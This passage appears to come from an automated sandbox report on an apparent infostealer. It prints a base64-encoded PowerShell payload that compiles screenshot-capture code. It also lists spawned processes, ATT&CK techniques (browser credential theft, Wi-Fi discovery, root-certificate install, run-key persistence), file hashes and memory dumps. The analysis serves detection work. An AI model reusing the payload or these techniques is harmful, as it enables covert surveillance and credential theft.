4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:740
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c1v3z1sp\c1v3z1sp.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1424
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7105.tmp" "c:\Users\Admin\AppData\Local\Temp\c1v3z1sp\CSC9C8E8508C54E410B9780259779613AD0.TMP"
      4⤵
      PID:4508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
9c740b7699e2363ac4ecdf496520ca35

SHA1
aa8691a8c56500d82c5fc8c35209bc6fe50ab1d9

SHA256
be96c91b62ba9ba7072ab89e66543328c9e4395150f9dbe8067332d94a3ecc61

SHA512
8885683f96353582eb871209e766e7eba1a72a2837ce27ea298b7b5b169621d1fa3fce25346b6bfd258b52642644234da9559d4e765a2023a5a5fc1f544cc7af

Download Submit
C:\Users\Admin\AppData\Local\Temp\7fNFTx0DAZ\Display (1).png

Filesize
411KB

MD5
fdd493ff785039f97295882c2fdb8be8

SHA1
7f4753bc245546dc99a1a9e7e477ed643c91610f

SHA256
ef1dc7f4306af8b1806240d1c30ddb1f3f2076b50b7243cdb5b2ecc82bc544ab

SHA512
81ed8ecc9699ecf8be991036e495841dac6e668f12494c1db158097db5b9da7e3bc414aa662495a930b0afbd5890705ee6f922f85a2f474bc0daa77cf8cc582e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES7105.tmp

Filesize
1KB

MD5
2d0a3ec8de22d48bad7ec90c61225a78

SHA1
633bd7418931199c996208b2f891920144d89fad

SHA256
988d430179fb2b584935d861c4dca16d0b8653401883a914f4698c71ddb5c3ba

SHA512
61e4efef5600de3cfd52aadbaa00b0fa17c8701a67dc1c0121e9de77b275b41292d6b0b05788da302fda265093c56d7a8a3043b3822017057ca261e2a1639a7d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l0u4awuy.qor.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c1v3z1sp\c1v3z1sp.dll

Filesize
4KB

MD5
aa863e4b59f0ae4a7f6d75f63f256525

SHA1
316cc55cdfc5145d33cbca7db9701745d379775e

SHA256
e01164906a9416d08aa40f62400ab2f8c8327d4d18658c5eda39dba26550fc92

SHA512
2be3d46d5e2ae9f548f0f3a4dd867c6edf670ffc08647ed697d3f3c0afd2d387a4b6ee8812e3e321cf0dfddfb35f8e46520c0fd97ca016bc293a9a759d0d1854

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

Filesize
10.3MB

MD5
1d3eb4616e3f66a7a0c20b0f549ac87f

SHA1
6a3bb960339b14f6acefc9cac104e47e46f80aba

SHA256
c5d975563c21d102be8bca9e2dec88b1d1cbdae0c2a99f736f28f00c0a4c96a8

SHA512
73a4a61182cd14394db408d0710c75251cf7d7a77a22f5a5c7ce7f6f7ca50739c079994bcd6546c01dab6ab5a9508dde9a292226c6166649fc5372f9ca57e307

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
6e2386469072b80f18d5722d07afdc0b

SHA1
032d13e364833d7276fcab8a5b2759e79182880f

SHA256
ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

SHA512
e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\c1v3z1sp\CSC9C8E8508C54E410B9780259779613AD0.TMP

Filesize
652B

MD5
6ca42a4c1690ae8f67044fab2eb5d180

SHA1
3b3d896373aa1df0c79a3ceb77ec7bbc447c2243

SHA256
ced98593f1332bad0817eb5ea2733ca7acfe3e5017c197b32f07eb645af95ef3

SHA512
e0f284c9e5805fd1a655b07d59ac757a9726baaa9853622ae98de9c743b0697d3dc4608c1aecd6a2df93f54c20e03b3948e51ed02087e558d8b0aa864155f8d9

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\c1v3z1sp\c1v3z1sp.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\c1v3z1sp\c1v3z1sp.cmdline

Filesize
607B

MD5
5d788cc7bf8c453ea2347576ac0b1834

SHA1
76464bd0edb4125ccca7026b34f6c56b3360738c

SHA256
b2674563f7701cea12e956ff438ce37190b93506150463a71079548ba9b2899c

SHA512
54b9b28c09dcbc171643007270635d838a4000d66ce5553fe03be453ed1c72e562d17ad505f6752ba34e5e90b42f38c0ee7b3a1ed3eef94bebd4a33eea5a6996

Download Submit
memory/740-75-0x00000154A4CE0000-0x00000154A4CE8000-memory.dmp

Filesize
32KB

Download
memory/4404-34-0x00007FFA15260000-0x00007FFA15D21000-memory.dmp

Filesize
10.8MB

Download
memory/4404-17-0x00007FFA15260000-0x00007FFA15D21000-memory.dmp

Filesize
10.8MB

Download
memory/4404-0-0x00007FFA15263000-0x00007FFA15265000-memory.dmp

Filesize
8KB

Download
memory/4404-13-0x00007FFA15260000-0x00007FFA15D21000-memory.dmp

Filesize
10.8MB

Download
memory/4404-3-0x000001E8BA950000-0x000001E8BA972000-memory.dmp

Filesize
136KB

Download